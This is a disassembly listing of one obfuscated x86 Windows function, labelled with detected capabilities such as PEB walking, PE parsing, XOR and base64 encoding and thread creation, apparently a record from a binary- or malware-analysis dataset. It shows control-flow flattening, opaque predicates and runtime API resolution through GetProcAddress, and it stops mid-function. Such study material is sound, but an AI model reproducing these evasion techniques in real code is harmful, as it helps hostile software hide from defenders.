Function at 0x402160
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1bc
mov eax, dword [0x45f640]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xb166f57
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x55d1f7dc
mov edx, eax
and edx, 0xaa2e0822
and eax, 0x2b6c25e9
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0x55d1f7dc
and ecx, 0xd493da16
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x2b6c25e9
mov edi, esi
and edi, 0xd493da16
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xec07b53b
xor eax, 0xffffffff
setne ch
sete cl
cmp dword [0x460980], 0xa
mov al, ch
setge ah
setl dl
mov dh, ah
or al, ah
and ah, cl
xor dh, ch
and ch, dl
or dl, cl
or ah, ch
xor dl, 1
and al, dh
or dl, ah
mov ch, al
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
xor cl, 1
mov dl, ah
or ah, cl
and dl, al
xor dl, 1
xor ch, dl
or dl, al
mov al, ah
xor dl, 1
or dl, ch
xor dl, cl
mov ecx, 0x3cdfc14
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x3cdfc14
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop dword [eax + eax]
cmp eax, 0xfd02e74b
jle 0x4022d0
cmp eax, 0x40ce73d3
jg 0x402350
cmp eax, 0x21dd283f
jg 0x402422
cmp eax, 0x11900abd
jle 0x402884
cmp eax, 0x19693460
jle 0x402d95
cmp eax, 0x1d1ad098
jle 0x403c07
cmp eax, 0x2011bc6c
jle 0x405aa6
cmp eax, 0x20d19ab8
jg 0x40823b
cmp eax, 0x2011bc6d
je 0x40840c
cmp eax, 0x2057bc6a
jne 0x402260
mov eax, 0x31f1b4ab
jmp 0x402260
cmp eax, 0xbd3134d3
jg 0x4023c0
cmp eax, 0x9ea69d32
jg 0x402479
cmp eax, 0x929cc780
jle 0x40297d
cmp eax, 0x99239079
jle 0x40305f
cmp eax, 0x9c82f6e2
jle 0x403c4a
cmp eax, 0x9ce693d6
jle 0x405ad1
cmp eax, 0x9e83e6e3
jg 0x40825e
cmp eax, 0x9ce693d7
je 0x408416
cmp eax, 0x9d70e0d7
jne 0x402260
mov eax, dword [ebp - 0xdc]
mov ecx, 0x17c5c26c
cmp eax, 0xc
mov eax, 0x426893ed
cmovl eax, ecx
jmp 0x402260
cmp eax, 0x656b4417
jg 0x4025d5
cmp eax, 0x5224f761
jle 0x4029d4
cmp eax, 0x5a931c67
jle 0x4030a9
cmp eax, 0x5e42621d
jle 0x403d1b
cmp eax, 0x6293f577
jle 0x405bdd
cmp eax, 0x63d031fd
jg 0x408289
cmp eax, 0x6293f578
je 0x4085bd
cmp eax, 0x62a5e2f8
jne 0x402260
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0x55806428
jmp 0x402260
cmp eax, 0xdee57224
jg 0x402717
cmp eax, 0xce1f2756
jle 0x402a20
cmp eax, 0xd729d006
jle 0x4031bc
cmp eax, 0xdaa7c97d
jle 0x403d54
cmp eax, 0xdd62424c
jle 0x405d17
cmp eax, 0xddcae8a5
jg 0x4082a9
cmp eax, 0xdd62424d
je 0x4087a9
cmp eax, 0xdd665a5c
jne 0x402260
mov eax, 0xfd583194
jmp 0x402260
cmp eax, 0x3331e097
jle 0x402a9e
cmp eax, 0x3914e94e
jle 0x403304
cmp eax, 0x3deb4d74
jle 0x40491b
cmp eax, 0x3e95dcd3
jle 0x405de5
cmp eax, 0x3f46e28f
jg 0x4082c9
cmp eax, 0x3e95dcd4
je 0x408980
cmp eax, 0x3ee8933b
jne 0x402260
mov eax, 0x58fd6b95
jmp 0x402260
cmp eax, 0xa92e25c0
jle 0x402aea
cmp eax, 0xb3fa1f1c
jle 0x40340e
cmp eax, 0xb8ea206f
jle 0x404a6d
cmp eax, 0xbb0b8eed
jle 0x405e1b
cmp eax, 0xbc4096b8
jg 0x4082e9
cmp eax, 0xbb0b8eee
je 0x408a91
cmp eax, 0xbb6ab495
jne 0x402260
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
cmp dword [eax + ecx*4], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
setne byte [ebp - 0x98]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xf7901e88
mov edx, eax
and edx, 0x86fe176
and eax, 0xae293b5d
or esi, edx
mov edx, ecx
and edx, 1
mov edi, esi
xor edi, 0xb6101480
xor esi, 0x80ea042
or edx, edi
and esi, 0x498eaa4a
and edx, 0xb67155b5
or edx, esi
mov esi, edx
xor esi, 0xa6211115
xor edx, 0x498eaa4a
mov edi, edx
or edx, ecx
and ecx, 0x51d6c4a2
and edi, 0x51d6c4a2
and esi, 0xae293b5d
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x6f9b220f
or edx, eax
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
or al, dl
xor ah, ch
xor al, 1
xor cl, dl
xor dl, ch
or al, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
or ah, cl
and dl, al
xor ah, 1
xor dl, 1
mov ch, dl
or dl, al
xor ch, al
xor dl, 1
or dl, ch
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
xor al, cl
and ch, cl
or ah, al
or dl, ch
mov ecx, 0xddcae8a6
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, 1
mov eax, 0xddcae8a6
jmp 0x40b166
cmp eax, 0x71f1599b
jle 0x402b36
cmp eax, 0x79918ab3
jle 0x40344f
cmp eax, 0x7bb74d9f
jle 0x404ac0
cmp eax, 0x7dc87c36
jle 0x405f5c
cmp eax, 0x7e763be2
jg 0x408312
cmp eax, 0x7dc87c37
je 0x408aa2
cmp eax, 0x7e052dc1
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x46601a8d
mov esi, eax
and esi, 0xb99fe572
or edx, esi
mov esi, ecx
not esi
and ecx, 0x46601a8d
or eax, esi
and esi, 0xb99fe572
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xf172e8c7
and edx, 0xe8d1738
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe8d1738
or eax, esi
and esi, 0xf172e8c7
or ecx, esi
not eax
mov esi, 0xb87606ca
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4ce60542
mov edx, ecx
and edx, 0xb319fabd
or eax, edx
xor eax, 0xb319fabd
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x9a161094
cmovne eax, esi
test cl, cl
mov ecx, eax
cmovne ecx, esi
test dl, dl
jmp 0x40b166
cmp eax, 0xebf7eaba
jg 0x402b8d
cmp eax, 0xe3bcc43f
jle 0x4035b0
cmp eax, 0xe850e28a
jle 0x404bb8
cmp eax, 0xea06c6f1
jle 0x40604c
cmp eax, 0xeaa94cc0
jle 0x4083e2
cmp eax, 0xeaa94cc1
je 0x4083f7
cmp eax, 0xeb466bd4
jne 0x402260
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x20
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edi, eax
not edi
mov edx, eax
or edx, 0x3811140b
mov ecx, edi
mov esi, edi
or ecx, 0x20c984
and edx, 0x3831dd8f
and esi, 0x878e2200
and edi, 0xaaa1b3c1
or esi, edx
mov edx, eax
and ecx, 0x3831dd8f
and edx, 0x40400070
and eax, 0x555e4c3e
or edx, ecx
or eax, edi
xor edx, esi
mov ecx, edx
not ecx
and edx, 0x84833b0b
and ecx, 0x7b7cc4f4
or edx, ecx
mov ecx, edx
xor edx, 0xa8922221
xor ecx, 0x32dd08e
mov esi, ecx
and esi, 0x57451d56
and edx, 0xa8bae2a9
or edx, esi
mov esi, eax
xor esi, 0x1a4028
xor eax, 0xaaa1b3c1
or ecx, eax
and eax, 0x57451d56
and esi, 0xa8bae2a9
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x96f37050
mov eax, ecx
not eax
and ecx, 0x20188877
and eax, 0xdfe77788
or ecx, eax
xor ecx, 0x20188877
setne dl
sete ch
cmp dword [0x460980], 0xa
setl al
setge cl
mov ah, al
or dl, al
or al, ch
or cl, ch
xor ah, ch
mov ch, dl
xor al, 1
xor ch, cl
or cl, dl
or al, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, 1
mov edx, ecx
and cl, al
xor dl, 1
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd60cdd96
cmovne ecx, esi
test dl, 1
mov esi, 0xd60cdd96
jmp 0x40707e
cmp eax, 0x5e6d65b
jg 0x4036da
cmp eax, 0x252754b
jg 0x404cfd
cmp eax, 0xfeb520d8
jg 0x40615f
cmp eax, 0xfd02e74c
je 0x408b78
cmp eax, 0xfd5341c9
je 0x408b85
cmp eax, 0xfd583194
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0x6b37620a
and ecx, 0x94c89df5
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0x7e6c20f7
and edx, 0x8193df08
or eax, edx
mov edx, eax
xor edx, 0x6c080026
xor eax, 0x8193df08
mov esi, eax
and esi, 0x12e6b7d1
and edx, 0xed19482e
or edx, esi
mov esi, ecx
xor esi, 0x84080824
xor ecx, 0x6b37620a
or eax, ecx
and ecx, 0x12e6b7d1
and esi, 0xed19482e
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x5e42621e
cmp eax, 0xffffffff
setne al
cmp dword [0x460980], 0xa
setl cl
setge dl
or dl, al
xor cl, al
mov eax, ecx
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
mov edx, 0x23f8df08
cmovne edx, esi
test cl, cl
mov ecx, 0x23f8df08
jmp 0x4103a3
cmp eax, 0x8b2825b1
jg 0x403829
cmp eax, 0x871e1654
jg 0x404ddb
cmp eax, 0x820b5f5b
jg 0x4061ca
cmp eax, 0x805d114a
je 0x408c86
cmp eax, 0x80972f5c
je 0x408c97
cmp eax, 0x80f3cb86
jne 0x402260
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, 0x22e25409
jmp 0x402260
cmp eax, 0x479fc5ca
jg 0x40386a
cmp eax, 0x44100373
jg 0x404e11
cmp eax, 0x426893ec
jg 0x40633d
cmp eax, 0x40ce73d4
je 0x408ca1
cmp eax, 0x41eeef54
je 0x408cab
cmp eax, 0x42018c32
jne 0x402260
mov eax, 0x3b9a0fa4
jmp 0x402260
cmp eax, 0xc4db2fb0
jg 0x40396f
cmp eax, 0xc0d6b758
jg 0x404e59
cmp eax, 0xbe5000ad
jg 0x406447
cmp eax, 0xbd3134d4
je 0x408d5b
cmp eax, 0xbd3481eb
je 0x408d65
cmp eax, 0xbe2f95b0
jne 0x402260
mov eax, dword [ebp - 0x1c8]
mov eax, dword [eax]
add eax, dword [ebp - 0x1c4]
push dword [ebp - 0xcc]
push dword [ebp - 0x1bc]
push dword [ebp - 0x1c0]
push eax
vzeroupper
call fcn.004019a0
add esp, 0x10
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, 0x543d329e
jmp 0x402260
cmp eax, 0x2b34c1c0
jg 0x403ae1
cmp eax, 0x24d52ca4
jg 0x404f58
cmp eax, 0x22f3fafc
jg 0x4064f8
cmp eax, 0x21dd2840
je 0x408d6f
cmp eax, 0x22a1d74d
je 0x40915d
cmp eax, 0x22e25409
jne 0x402260
mov eax, 0x818e997
jmp 0x402260
cmp eax, 0xa42841a5
jg 0x403b31
cmp eax, 0xa177d644
jg 0x404f8e
cmp eax, 0xa0765ca2
jg 0x406523
cmp eax, 0x9ea69d33
je 0x409167
cmp eax, 0xa053fbfe
je 0x409180
cmp eax, 0xa061c216
jne 0x402260
mov eax, 0x1646b763
jmp 0x402260
cmp eax, 0x696141c7
jg 0x403b79
cmp eax, 0x67345951
jg 0x4050d8
cmp eax, 0x6652b5fa
jg 0x40654e
cmp eax, 0x656b4418
je 0x4092bc
cmp eax, 0x65ba6ed0
je 0x4093ca
cmp eax, 0x65fdd06c
jne 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, 0x67b596e2
jmp 0x402260
cmp eax, 0xf1b7647f
jg 0x403bba
cmp eax, 0xf049f6eb
jg 0x405117
cmp eax, 0xed60fcc3
jg 0x40657f
cmp eax, 0xebf7eabb
je 0x4093dd
cmp eax, 0xec07b53b
je 0x4093e7
cmp eax, 0xec702265
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x22100423
and eax, 0x44411310
mov edx, ecx
and edx, 0x18a4000
or ecx, 0x1900423
or esi, edx
and ecx, 0x99b4acef
mov edx, esi
xor edx, 0x22000000
xor esi, 0x99a4a8cc
or eax, ecx
and esi, 0x99b4acef
and edx, 0x220a4000
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x44d3258
and ecx, 0xfbb2cda7
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x50288800
xor ecx, 0x27d7767b
xor eax, 0x53e272ef
mov esi, ecx
and edx, 0x776dca18
and esi, 0x889235e7
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0x889235e7
xor esi, 0x252c0818
mov edx, ecx
and edx, 0x74350494
and esi, 0x252c2c1c
or eax, edx
mov edx, eax
not edx
and eax, 0x8a6fc8d9
and edx, 0x75903726
or eax, edx
mov edx, ecx
and edx, 0xdad3d3e3
and ecx, 1
or edx, esi
mov edi, eax
xor edi, 0xb648cc0c
xor eax, 0x1a533b3
mov esi, edx
xor esi, 0x252c2c1d
xor edx, 0x92c1d302
and edi, 0xb6edff1e
or ecx, esi
mov esi, eax
and esi, 0x491200e1
and edx, 0xb6edff1e
or eax, ecx
and ecx, 0x491200e1
or edi, esi
or edx, ecx
not eax
xor edx, edi
or eax, edx
mov edx, eax
xor edx, 0x8104d116
mov ecx, eax
and ecx, 0x81044100
and edx, eax
not eax
and eax, 0x9016
or ecx, eax
mov eax, ecx
xor eax, 0x81044100
xor ecx, 0x7efbbeff
mov esi, ecx
and esi, 0x499bc19
and eax, 0x81044106
or eax, esi
mov esi, edx
not esi
and edx, 0xfb6643e6
or ecx, esi
and esi, 0x499bc19
or edx, esi
not ecx
mov esi, 0x6d7d8694
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x8104d116
and eax, 0x7efb2ee9
or ecx, eax
sete ah
setne dl
cmp dword [0x460980], 0xa
setl cl
setge al
and dl, al
and cl, ah
or cl, dl
xor cl, 1
or cl, al
xor al, ah
mov edx, ecx
mov ah, al
not dl
not ah
and dl, al
and ah, cl
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x3135ab02
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x3135ab02
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402260
cmp eax, 0x16b6c430
jg 0x4051ee
cmp eax, 0x15a5064e
jg 0x4065aa
cmp eax, 0x11900abe
je 0x4093f1
cmp eax, 0x1263bd1d
je 0x409409
cmp eax, 0x14b5cb89
jne 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov ecx, dword [eax + ecx*4]
mov edx, ecx
xor edx, 0x442d3d77
mov eax, ecx
and eax, 0x13431
and edx, ecx
not ecx
and ecx, 0x442c0946
or eax, ecx
xor eax, 0x13431
or eax, edx
not edx
and edx, 0xbbd2c288
and eax, 0x442d3d77
or eax, edx
mov ecx, eax
mov edx, eax
not ecx
or edx, 0x1c968cc
mov edi, ecx
mov esi, edx
and esi, 0xe60e2c14
and edi, 0x18309323
or ecx, 0x4b35
or edi, esi
mov esi, eax
xor esi, 0xfe369733
and ecx, 0xde834b35
and esi, eax
and eax, 0x217c0000
mov ebx, esi
not ebx
and esi, 0x19f1d3eb
or ecx, eax
or edx, ebx
and ebx, 0xe60e2c14
xor ecx, 0xde834b35
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xfa9d8f20
and esi, 0x56270df
or edx, esi
xor edx, 0x4abe7ec
or ecx, edx
mov eax, ecx
xor eax, 0xdc12c519
and eax, ecx
not ecx
and ecx, 0xdc12c519
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3446c727
and ecx, 0xcbb938d8
or eax, ecx
mov ecx, eax
xor ecx, 0xa0000238
xor eax, 0x17abfdc1
mov edx, eax
and edx, 0x59740586
and ecx, 0xa68bfa79
or ecx, edx
xor ecx, 0xa68bfa79
or ecx, eax
mov eax, dword [ebp - 0x5c]
not ecx
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x460984]
mov dword [ebp - 0x128], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbe208402
and eax, 0x41cf73e8
and ecx, 0x100815
or edx, ecx
xor edx, 0xbe208402
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbd91be1b
and ecx, 0x426e41e4
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xfc5ecdf2
xor ecx, 0x3a1320c
xor edx, 0x3a1320d
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x170483c4
mov esi, eax
and esi, 0xe8fb7c3b
or edx, esi
mov esi, ecx
not esi
and ecx, 0x170483c4
or eax, esi
and esi, 0xe8fb7c3b
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x1b2118fe
mov edx, eax
not edx
and ecx, eax
or eax, 0xe4dee701
and edx, 0x11011002
mov esi, eax
and esi, 0x2e7c8bfc
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd1837403
or eax, esi
and esi, 0x2e7c8bfc
or ecx, esi
not eax
mov esi, 0x19693461
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x83200cb6
and ecx, 0x7cdff349
or eax, ecx
cmp eax, 0x98011448
setne dl
cmp dword [0x460980], 0xa
mov ch, dl
mov ah, dl
setge al
setl cl
inc ch
and ah, ch
mov ebx, eax
xor ah, 1
xor bl, dl
mov dh, ah
or ah, ch
xor dh, ch
xor ah, 1
mov ch, bl
or ah, dh
and ch, al
and cl, ah
xor ah, 1
and ah, al
or al, dl
xor al, 1
or al, bl
and bl, dl
mov edx, ebx
xor bl, ch
xor ch, 1
xor al, 1
xor dl, 1
or al, cl
or ch, dl
or al, ah
mov edx, 0x96bfc6f3
xor ch, 1
or ch, bl
xor ch, 1
mov cl, ch
xor ch, al
or cl, al
mov eax, ecx
xor al, ch
test al, 1
mov eax, 0x19693461
cmovne eax, edx
test ch, 1
mov edx, eax
cmovne edx, esi
test cl, 1
jmp 0x410bfb
cmp eax, 0x94291b8e
jg 0x4052ce
cmp eax, 0x9326923a
jg 0x4066cc
cmp eax, 0x929cc781
je 0x4094e5
cmp eax, 0x92c3c2ef
je 0x4094ef
cmp eax, 0x92f3b18b
jne 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x4c]
mov eax, 0x473221d7
jmp 0x402260
cmp eax, 0x56132738
jg 0x405304
cmp eax, 0x55806427
jg 0x406781
cmp eax, 0x5224f762
je 0x409639
cmp eax, 0x543d329e
je 0x409652
cmp eax, 0x54b2e857
jne 0x402260
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x64522dd6
mov esi, edx
and esi, 0xfffffffe
and edx, 0x9badd229
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0xda718098
mov esi, edx
and esi, 0x258e7f67
or ecx, esi
mov esi, eax
xor esi, 0x40500090
xor eax, 0x18c5221
and eax, 0x258e7f67
and esi, 0xda718098
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x5eb23d5a
setne ah
sete al
cmp dword [0x460980], 0xa
setge dl
setl ch
mov cl, dl
or ah, ch
xor cl, al
xor al, ch
and al, ch
xor cl, 1
xor al, 1
or cl, dl
mov ch, al
or al, ah
mov edx, ecx
xor ch, ah
xor al, 1
xor dl, 1
or al, ch
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xd106fa04
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xd106fa04
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402260
cmp eax, 0xd24a0a74
jg 0x40533d
cmp eax, 0xd106fa03
jg 0x4068c5
cmp eax, 0xce1f2757
je 0x409713
cmp eax, 0xd04f581a
je 0x40971d
cmp eax, 0xd0751a51
jne 0x402260
mov eax, dword [ebp - 0x70]
mov ecx, dword [0x460984]
cmp byte [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0xa2]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xd9551782
mov ecx, edx
and ecx, 0x26aae87c
and edx, 0xf36ee2e
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor esi, 0xd9551782
and eax, 0xf0c911d1
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x1ccf1bc7
and esi, 0xe330e438
or ecx, esi
mov esi, 0xe1c79523
mov edi, ecx
xor edi, 0x104d1b83
xor ecx, 0xe330e438
mov edx, ecx
and edx, 0xd92a07c
and edi, 0xf26d5f83
or edi, edx
mov edx, eax
xor edx, 0xf0491181
xor eax, 0xf36ee2e
or ecx, eax
and eax, 0xd92a07c
and edx, 0xf26d5f83
or edx, eax
not ecx
xor edx, edi
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne ah
cmp dword [0x460980], 0xa
setge al
setl cl
and ah, cl
and al, dl
or cl, dl
or al, ah
xor al, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
xor cl, dl
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xa87127c8
cmovne eax, esi
test dl, 1
mov esi, 0xa87127c8
cmovne esi, eax
test cl, 1
cmove esi, eax
mov eax, esi
jmp 0x402260
cmp eax, 0x352547a3
jg 0x405382
cmp eax, 0x34a3cb2f
jg 0x4068f0
cmp eax, 0x3331e098
je 0x409727
cmp eax, 0x33bb9b7d
je 0x409738
cmp eax, 0x3447bcda
jne 0x402260
mov eax, dword [0x460984]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0x67a88a79
mov edx, ecx
and edx, 0x98577586
and ecx, 0x356b3ba
or edx, esi
mov esi, eax
and esi, 0xfca94c45
or ecx, esi
mov esi, edx
xor esi, 0x563182
xor edx, 0x67a88a78
or eax, edx
and edx, 0xfca94c45
and esi, 0x356b3ba
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x3f46e290
mov ecx, eax
not ecx
and eax, 0x9c919864
and ecx, 0x636e679b
or ecx, eax
mov eax, ecx
xor eax, 0x82498
xor ecx, 0x8c111844
and ecx, 0xef775b47
and eax, 0x1088a4b8
or eax, ecx
cmp eax, 0x1088a4b8
setne al
cmp dword [0x460980], 0xa
mov ah, al
setge dl
or ah, dl
xor al, dl
mov cl, ah
mov dl, ah
and dl, al
xor cl, 1
xor al, 1
and cl, al
or al, ah
or cl, dl
mov ch, al
xor ch, cl
test al, al
mov eax, 0x9b5a4a9e
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, ch
mov ecx, 0x9b5a4a9e
cmove eax, ecx
jmp 0x402260
cmp eax, 0xadc85ac5
jg 0x4054bf
cmp eax, 0xaa873998
jg 0x406925
cmp eax, 0xa92e25c1
je 0x409751
cmp eax, 0xa94765f4
je 0x4098e2
cmp eax, 0xa959d486
jne 0x402260
mov eax, 0x90b7ac40
jmp 0x402260
cmp eax, 0x7572331b
jg 0x4054f5
cmp eax, 0x72ee9152
jg 0x4069f3
cmp eax, 0x71f1599c
je 0x409ba8
cmp eax, 0x726db77e
je 0x409ca2
cmp eax, 0x727a9e7c
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x4f530d80
mov eax, edx
and eax, 0xb0acf27e
and edx, 0x159ea1bd
or esi, eax
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
xor esi, 0x4f530d80
and ecx, 0xea615e42
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x203c9fde
and esi, 0xdfc36021
or eax, esi
mov esi, 0xd9408291
mov edi, eax
xor edi, 0x20009e9c
xor eax, 0xdfc36021
mov edx, eax
and edx, 0x113f2142
and edi, 0xeec0debd
or edi, edx
mov edx, ecx
xor edx, 0xea405e00
xor ecx, 0x159ea1bd
or eax, ecx
and ecx, 0x113f2142
and edx, 0xeec0debd
or edx, ecx
not eax
xor edx, edi
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf28aa3a8
and ecx, 0xd755c57
or eax, ecx
cmp eax, 0xf28aa3a8
setne al
cmp dword [0x460980], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
mov ch, cl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor ah, cl
xor cl, 1
and ch, cl
mov dh, cl
or al, cl
xor ch, 1
xor al, 1
xor dh, ch
or ch, cl
or al, ah
xor ch, 1
mov cl, al
or ch, dh
xor dl, ch
xor cl, dl
test al, 1
mov eax, 0x94291b8f
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x94291b8f
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402260
cmp eax, 0xe11ba0cb
jg 0x40552b
cmp eax, 0xe00275e6
jg 0x406a4f
cmp eax, 0xdee57225
je 0x409cbf
cmp eax, 0xdefee5db
je 0x40a010
cmp eax, 0xdf3a4956
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc0e1920
mov edx, eax
and edx, 0x80b000dd
and eax, 0x7341e602
or ecx, edx
xor ecx, 0xc0e1920
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x97e68911
and eax, 0x681976ee
or ecx, eax
mov eax, ecx
xor eax, 0x80c20101
xor ecx, 0x681976ee
mov esi, ecx
and esi, 0x1734ac1c
and eax, 0xe8cb53e3
or eax, esi
mov esi, edx
not esi
and edx, 0xe8cb53e3
or ecx, esi
and esi, 0x1734ac1c
or edx, esi
not ecx
mov esi, 0x99a0aaa3
xor edx, eax
or ecx, edx
setne ah
sete al
cmp dword [0x460980], 0xa
mov ch, ah
setge cl
setl dl
mov bh, cl
and al, cl
or cl, ah
and ch, dl
xor dl, ah
xor bh, ah
xor cl, 1
mov ah, dl
or al, ch
or cl, bh
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov eax, 0x4836495f
cmovne eax, esi
test dl, 1
not bl
mov edx, 0x4836495f
cmovne eax, esi
test bl, 1
